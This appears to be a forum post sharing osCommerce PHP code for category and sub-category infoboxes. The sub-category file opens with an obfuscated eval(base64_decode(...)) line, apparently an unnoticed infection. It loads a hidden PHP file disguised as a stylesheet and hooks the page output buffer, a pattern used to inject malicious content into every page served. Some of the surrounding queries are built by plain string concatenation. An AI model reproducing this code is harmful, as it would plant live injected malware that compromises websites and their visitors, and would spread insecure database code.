$parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> |